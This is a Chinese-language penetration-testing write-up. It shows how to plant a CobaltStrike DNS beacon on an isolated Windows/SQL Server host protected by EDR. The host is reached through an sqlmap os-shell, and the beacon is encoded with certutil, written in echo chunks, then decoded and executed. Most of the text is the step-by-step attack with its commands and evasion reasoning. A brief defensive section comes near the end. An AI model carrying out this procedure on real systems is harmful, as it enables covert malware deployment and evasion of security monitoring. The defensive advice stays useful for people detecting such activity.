SQL注入恶劣环境之可执行文件上传骚姿势
字数 1767 2025-08-23 18:31:09
SQL注入恶劣环境下可执行文件上传技术详解
1. 环境背景分析
1.1 目标系统特征
- 操作系统:Microsoft Windows Server 2012 R2 Standard
- 数据库系统:Microsoft SQL Server 2012
- 域环境:ev****.cn
- 当前权限:nt service\mssqlserver
- 文件管理限制:仅有部分目录读写权限,无法写入Web目录
- 命令限制:无法使用PowerShell
- 安全防护:安装深信服EDR(edr_monitor.exe/edr_agent.exe/edr_sec_plan.exe)
- 网络状况:不出网但能DNS解析
1.2 限制条件总结
- 无法直接上传文件到Web目录
- 无法使用常规下载方法(certutil/powershell远程下载)
- 网络隔离但保留DNS解析能力
- 存在EDR防护
2. 技术原理与思路
2.1 核心思路
利用Windows系统自带的certutil工具进行文件编码/解码,通过SQL注入获取的os-shell分块写入编码后的文件,最后在目标服务器上解码还原为可执行文件。
2.2 Certutil工具特性
- 合法Windows组件:certutil.exe是Windows证书管理程序
- 功能滥用:
- 远程下载文件(易被拦截)
- 本地文件加密/解密(不易被检测)
2.3 文件写入方法
- 覆盖写入:
echo 内容 > 文件名 - 追加写入:
echo 内容 >> 文件名
3. 详细操作步骤
3.1 准备阶段
3.1.1 C2配置
- 配置DNS Beacon:
- 设置DNS解析记录
- 在CobaltStrike中选择DNS上线方式
3.1.2 文件编码
- 生成DNS上线的可执行文件dns.exe
- 使用certutil进行编码:
Certutil -encode dns.exe dns.txt
3.2 生成写入命令集
-
创建Excel表格(dns.xlsx):
- A列:固定内容"echo "(注意包含空格)
- B列:从dns.txt复制的内容
- C列:固定内容">> C:/Users/MSSQLSERVER/Desktop/dns.txt"(目标路径)
- D列:固定内容"&& echo 1"(用于回显)
-
自动填充:
- 双击单元格右下角自动填充所有行
-
导出处理:
- 全选复制到文本文件
- 删除特殊空格(表格分列符)
- 将第一行的">>"改为">"(确保首次写入为覆盖写入)
3.3 通过SQL注入执行写入
-
使用SqlMap获取os-shell:
sqlmap --batch --os-shell -
执行写入命令:
- 全选复制生成的命令集
- 在os-shell中右键粘贴执行
- 确保网络稳定(任何一行出错都会导致最终解码失败)
3.4 解码与执行
-
解码文件:
Certutil -decode C:/Users/MSSQLSERVER/Desktop/dns.txt C:/Users/MSSQLSERVER/Desktop/dns.exe -
执行文件:
C:/Users/MSSQLSERVER/Desktop/dns.exe
4. 关键技术点
4.1 回显机制设计
- 每条命令后添加"&& echo 1":
- 提供执行回显,避免os-shell卡顿
- 便于攻击者确认写入进度
4.2 规避检测技巧
- 使用系统自带工具(certutil)避免触发安全警报
- 分块写入减少单次操作的可疑性
- 编码后的文件内容不直接表现为可执行代码
4.3 注意事项
- 网络稳定性至关重要,任何一行写入失败都会导致最终解码失败
- 目标路径必须确保有写入权限
- 首次写入必须使用覆盖写入(">"),后续使用追加写入(">>")
5. 防御建议
5.1 检测与防护
-
监控certutil异常使用:
- 非管理员账户使用encode/decode参数
- 短时间内大量echo写入操作
-
限制SQL Server服务账户权限:
- 最小化文件系统访问权限
- 禁止写入非必要目录
-
EDR规则更新:
- 检测分块写入后解码的可执行文件
5.2 系统加固
-
禁用不必要的系统工具:
- 通过AppLocker等限制certutil使用
-
网络隔离:
- 严格限制数据库服务器的出站连接
- 监控异常的DNS查询
6. 总结
本技术展示了在极端受限环境下(无Web目录写入权限、无网络下载能力、存在EDR防护)如何通过系统自带工具和精心设计的写入方法实现可执行文件上传。关键在于:
- 充分利用系统合法工具的功能(certutil编码/解码)
- 创新的分块写入方法规避检测
- 完善的执行回显机制确保操作可靠性
这种技术不仅适用于SQL注入后的渗透,也可应用于其他受限环境下的文件传输需求,体现了在渗透测试中灵活运用系统特性绕过限制的创造性思维。